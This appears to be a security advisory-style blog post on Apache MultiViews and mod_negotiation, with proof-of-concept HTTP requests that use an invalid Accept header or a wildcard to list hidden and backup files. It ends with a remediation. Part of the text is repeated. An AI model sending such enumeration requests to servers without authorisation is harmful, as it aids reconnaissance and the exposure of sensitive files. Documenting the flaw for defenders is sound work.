This is a small post about a way to easily get backup files on Apache web servers with Multiviews option enabled. There is no much information in Multiviews (an Apache feature) and some Web Application scanners report this as Apache mod_negotiation filename brute-forcing rather than Multiviews option enabled. Apache HTTPD supports content negotiation as described in the HTTP/1.1 specification (see http://www.w3.org/Protocols/rfc2616/rfc2616.html). It can choose the best representation of a resource based on the browser-supplied preferences for media type, languages, character set and encoding. It also implements a couple of features to give more intelligent handling of requests from browsers that send incomplete negotiation information.
What are resources
What are resources
A resource is a conceptual entity identified by a URI (RFC 2396). An HTTP server like Apache HTTP Server provides access to representations of the resource(s) within its namespace, with each representation in the form of a sequence of bytes with a defined media type, character set, encoding, etc. Each resource may be associated with zero, one, or more than one representation at any given time. If multiple representations are available, the resource is referred to as negotiable and each of its representations is termed a variant. The ways in which the variants for a negotiable resource vary are called the dimensions of negotiation.
Negotiation in httpd
In order to negotiate a resource, the server needs to be given information about each of the variants. This is done in one of two ways:
- Using a type map (i.e., a *.var file) which names the files containing the variants explicitly, or
- Using a 'MultiViews' search, where the server does an implicit filename pattern match and chooses from among the results.
MultiViews is a per-directory option, meaning it can be set with an Options directive within a <Directory>, <Location> or <Files> section in httpd.conf, or (if AllowOverride is properly set) in .htaccess files.
The effect of MultiViews is as follows: if the server receives a request for /some/dir/foo, if /some/dir has MultiViews enabled, and /some/dir/foo does not exist, then the server reads the directory looking for files named foo.*, and effectively fakes up a type map which names all those files, assigning them the same media types and content-encodings it would have if the client had asked for one of them by name. It then chooses the best match to the client's requirements.
MultiViews is an Apache option which acts with the following rules:
"if you request from the server a file e.g. /some/dir/foo and does not exist, then the server reads the directory looking for files named foo.*, and effectively fakes up a type map which names all those files, assigning them the same media types and content-encodings it would have if the client had asked for one of them by name. It then chooses the best match to the client's requirements."
Impact
An attacker can use this functionality to aid in finding hidden file processes on the directory and potentially gather further sensitive information through the mod_negotiation module. mod_negotiation is an Apache module responsible for selecting the document that best matches the clients capabilities, from one of several available documents. If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. This behavior can help an attacker to learn more about his target, for example, generate a list of base names, generate a list of interesting extensions, and look for backup files and so on.
Proof Of Concept
Example 1:
Request:
GET
/mymanual/de/glossarry.html
HTTP/1.1
Host:
Accept:
application/xxx; q=1.0
Negotiate:*
User-Agent:
xxx
Connection:
close
Referer:
http://xxx.xxx.xxx.xxx/test/se/
Cookie:
LangID=2; PHPSESSID=xxxx
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Response:
HTTP/1.1
300 Multiple Choices
Date:
Tue, 16 Sep 2014 12:56:46 GMT
Server:
Apache/2.2.22 (Linux/SUSE)
Alternates:
{"glossary.html.de" 1 {type text/html} {charset iso-8859-1}
{language de} {length 32714}}, {"glossary.html.en" 1 {type
text/html} {charset iso-8859-1} {language en} {length 27855}},
{"glossary.html.es" 1 {type text/html} {charset iso-8859-1} {language
es} {length 23586}}, {"glossary.html.fr" 1 {type text/html}
{charset iso-8859-1} {language fr} {length 30561}},
{"glossary.html.ja.utf8" 1 {type text/html} {charset utf-8}
{language ja} {length 30880}}, {"glossary.html.ko.euc-kr" 1 {type
text/html} {charset euc-kr} {language ko} {length 19474}},
{"glossary.html.tr.utf8" 1 {type text/html} {charset utf-8}
{language tr} {length 30911}}
Vary:
negotiate,accept-language,accept-charset
TCN:
list
Content-Length:
1039
Connection:
close
Content-Type:
text/html; charset=iso-8859-1
…[omitted]…
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Note: In the first example we request for a specific file, the glossary.html and get the response displayed above.
Example 2:
Request:
GET /ba* HTTP/1.1
Host:xxx
Accept: application/whatever; q=1.0
Accept-charset: iso-8859-9
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0
Connection: close
Referer: http://xxx.xxx.xxx.xxx/manual/de/
Cookie: LangID=2; PHPSESSID=xxxx
Note: In this example we request a file name using wild card characters e.g. *. More specifically .
Remediation
Disable the MultiViews directive from Apache's configuration file and restart Apache. You can disable MultiViews by creating a .htaccess file containing the following line:
Options -Multiviews
References:
Example 2:
Request:
GET /ba* HTTP/1.1
Host:xxx
Accept: application/whatever; q=1.0
Accept-charset: iso-8859-9
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0
Connection: close
Referer: http://xxx.xxx.xxx.xxx/manual/de/
Cookie: LangID=2; PHPSESSID=xxxx
Response:
HTTP/1.1
404 Not Found
Date:
Tue, 16 Sep 2014 13:33:18 GMT
Server:
Apache/2.2.22 (Linux/SUSE)
Alternates:
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-2} {language cs} {length 745}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language de} {length 766}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language en} {length 611}}, {"HTTP_NOT_FOUND.html.var"
1 {type text/html} {language es} {length 699}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language fr} {length 789}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language ga} {length 813}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language it} {length 692}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-2022-jp} {language ja} {length 749}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset euc-kr}
{language ko} {length 703}}, {"HTTP_NOT_FOUND.html.var" 1 {type
text/html} {charset iso-8859-1} {language nl} {length 688}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-2} {language pl} {length 707}}, {"HTTP_NOT_FOUND.html.var"
1 {type text/html} {charset iso-8859-1} {language pt-br} {length 753}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language pt} {length 272}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language ro} {length 689}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-5} {language sr} {length 716}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset
iso-8859-1} {language sv} {length 722}},
{"HTTP_NOT_FOUND.html.var" 1 {type text/html} {charset iso-8859-9}
{language tr} {length 755}}
Vary:
accept-language,accept-charset
Content-Length:
409
Connection:
close
Content-Type:
text/html; charset=iso-8859-1
…[omitted]…
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Note: In this example we request a file name using wild card characters e.g. *. More specifically .
Remediation
Disable the MultiViews directive from Apache's configuration file and restart Apache. You can disable MultiViews by creating a .htaccess file containing the following line:
Options -Multiviews
References:
